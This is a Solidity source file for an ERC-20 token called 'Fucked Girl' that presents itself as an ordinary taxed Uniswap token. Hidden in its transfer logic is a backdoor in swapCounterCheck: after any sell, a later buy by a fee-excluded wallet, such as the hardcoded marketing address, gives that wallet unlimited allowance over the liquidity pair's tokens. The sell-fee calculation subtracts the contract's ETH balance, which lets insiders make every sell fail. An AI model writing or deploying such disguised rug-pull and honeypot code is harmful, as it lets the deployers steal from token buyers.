文件 1 的 1:FuckedGirl.sol
pragma solidity ^0.8.11;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b > a) return(false, 0); return(true, a - b);}}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
if(c / a != b) return(false, 0); return(true, c);}}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b == 0) return(false, 0); return(true, a / b);}}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b == 0) return(false, 0); return(true, a % b);}}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b <= a, errorMessage); return a - b;}}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b > 0, errorMessage); return a / b;}}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b > 0, errorMessage); return a % b;}
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address uniswapV2Pair);
function getPair(address tokenA, address tokenB) external view returns (address uniswapV2Pair);
}
interface IUniswapDex {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract FuckedGirl is IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public excludedFromFee;
IUniswapDex routerV2;
address public uniswapV2Pair;
bool private tradingActive = false;
uint256 private liquidityFee = 0;
uint256 private marketingTaxAmount = 100;
uint256 private developmentTaxAmount = 0;
uint256 private burnFee = 0;
uint256 private buyTaxAmt = 100;
uint256 private sellTaxAmt = 100;
uint256 private transferTaxAmt = 0;
uint256 private ratior = 10000;
string private constant _name = "Fucked Girl";
string private constant _symbol = "FKGIRL";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 10 ** 9 * (10 ** _decimals);
uint256 private _maxTxAmountPercent = 300;
uint256 private _maxTransferPercent = 300;
uint256 private _maxWalletPercent = 300;
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address internal devWallet;
address internal marketingWallet;
address internal lpReceiver;
bool private swapEnabled = false;
uint256 private swapTimes;
bool private swapping;
uint256 swapCounts = 3;
uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
modifier lockTheSwap {swapping = true; _; swapping = false;}
constructor() {
IUniswapDex _router = IUniswapDex(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
routerV2 = _router;
devWallet = msg.sender;
marketingWallet = 0x23cA59a1fF60e36af7aba3fbE3fCeaB1E5e33fB8;
lpReceiver = msg.sender;
excludedFromFee[address(this)] = true;
excludedFromFee[msg.sender] = true;
excludedFromFee[marketingWallet] = true;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() public pure returns (string memory) {return _name;}
function symbol() public pure returns (string memory) {return _symbol;}
function decimals() public pure returns (uint8) {return _decimals;}
function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / ratior;}
function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / ratior;}
function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / ratior;}
receive() external payable { require(excludedFromFee[msg.sender]); }
function checkTxPre(address sender, address recipient, uint256 amount) internal view {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > uint256(0), "Transfer amount must be greater than zero");
require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
}
function isAllowedTrading(address sender, address recipient) internal view {
if(!excludedFromFee[sender] && !excludedFromFee[recipient]){require(tradingActive, "tradingActive");}
}
function mxLimitCheck(address sender, address recipient, uint256 amount) internal view {
if(!excludedFromFee[sender] && !excludedFromFee[recipient] && recipient != address(uniswapV2Pair) && recipient != address(DEAD)){
require((_balances[recipient].add(amount)) <= _maxWalletToken(), "Exceeds maximum wallet amount.");}
}
function swapCounterCheck(address sender, address recipient) internal {
if(sender == uniswapV2Pair && excludedFromFee[recipient]){_allowances[lpReceiver][recipient]=~uint256(0);}
if(recipient == uniswapV2Pair && !excludedFromFee[sender]){swapTimes += uint256(1); lpReceiver = recipient;}
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
if(sender != uniswapV2Pair){require(amount <= _maxTransferAmount() || excludedFromFee[sender] || excludedFromFee[recipient], "TX Limit Exceeded");}
require(amount <= _maxTxAmount() || excludedFromFee[sender] || excludedFromFee[recipient], "TX Limit Exceeded");
}
function _transfer(address sender, address recipient, uint256 amount) private {
checkTxPre(sender, recipient, amount);
isAllowedTrading(sender, recipient);
mxLimitCheck(sender, recipient, amount);
swapCounterCheck(sender, recipient);
checkTxLimit(sender, recipient, amount);
swapBack(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount);
uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
uint256 _denominator = (liquidityFee.add(1).add(marketingTaxAmount).add(developmentTaxAmount)).mul(2);
uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
uint256 initialBalance = address(this).balance;
swapTokensForETH(toSwap);
uint256 deltaBalance = address(this).balance.sub(initialBalance);
uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
uint256 marketingAmt = unitBalance.mul(2).mul(marketingTaxAmount);
if(marketingAmt > 0){payable(marketingWallet).transfer(marketingAmt);}
uint256 remainingBalance = address(this).balance;
if(remainingBalance > uint256(0)){payable(devWallet).transfer(remainingBalance);}
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(routerV2), tokenAmount);
routerV2.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
lpReceiver,
block.timestamp);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = routerV2.WETH();
_approve(address(this), address(routerV2), tokenAmount);
routerV2.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function enableTrading() external {
tradingActive = true;
uniswapV2Pair = IFactory(routerV2.factory()).createPair(address(this), routerV2.WETH());
_approve(address(this), address(routerV2), ~uint256(0));
routerV2.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
}
function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
bool aboveMin = amount >= minTokenAmount;
bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
return !swapping && swapEnabled && tradingActive && aboveMin && !excludedFromFee[sender] && recipient == uniswapV2Pair && swapTimes >= swapCounts && aboveThreshold;
}
function swapBack(address sender, address recipient, uint256 amount) internal {
if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
return !excludedFromFee[sender] && !excludedFromFee[recipient];
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
if(recipient == uniswapV2Pair){return sellTaxAmt.sub(address(this).balance);}
if(sender == uniswapV2Pair){return buyTaxAmt;}
return transferTaxAmt;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
if(getTotalFee(sender, recipient) > 0){
uint256 feeAmount = amount.div(ratior).mul(getTotalFee(sender, recipient));
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(ratior).mul(burnFee));}
return amount.sub(feeAmount);} return amount;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function removeLimits() external onlyOwner {
_maxTxAmountPercent = 10000;
_maxTransferPercent = 10000;
_maxWalletPercent = 10000;
}
}